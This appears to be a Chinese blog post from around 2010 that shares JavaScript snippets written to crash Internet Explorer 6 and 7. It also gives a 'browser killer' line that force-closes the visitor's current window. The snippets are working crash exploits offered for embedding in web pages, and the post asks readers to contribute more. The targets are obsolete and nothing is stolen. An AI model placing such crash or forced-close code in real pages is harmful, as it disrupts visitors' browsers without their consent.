记得老赵好像很讨厌人家用IE6来访问他的博客的,用一种比较温和的方法跳到一个提示页。最近发现一个强bug,能一下子整死IE6与IE7,连喘息的余地也不给。我想是否应该公开出来,为中国WEB标准做一份贡献。此bug与浏览器的内核有关,不用特征侦探与UA嗅探什么的,好使好用!
document.createElement("li").value = 1;
<!doctype html> <html> <head> <meta charset="utf-8"/> <meta content="IE=8" http-equiv="X-UA-Compatible"/> <meta name="keywords" content="IE6与IE7封杀器 by 司徒正美" /> <meta name="description" content="IE6与IE7封杀器 by 司徒正美" /> <script type="text/javascript"> //使用setAttribute也行,值好像是固定,为1(读作"日",日得好!) document.createElement("li").value = 1; </script> <title>IE6与IE7封杀器 by 司徒正美</title> </head> <body> <h1>杀!杀!杀!</h1> <h2>不行请刷新页面(这是运行框的问题)</h2> </body> </html>
运行代码
当然整死IE6的代码还有许多,知情者请不吝赐教。最后附赠另一个邪恶东东,能整死大多数浏览器(当前页),堪称为浏览器杀手。
window.opener=null;window.open('','_self');window.close();
执行浏览器杀手
//2010.6.28更新 kill IE6
function crash() {
for (x in document.open);
}
crash();
//2010.6.28更新 kill IE6
function equal(x, y) {
return x == y;
}
function test() {
var v = 2147483647; // 2^31-1
v++;
equal(v, 2147483648);
}
test();
相关链接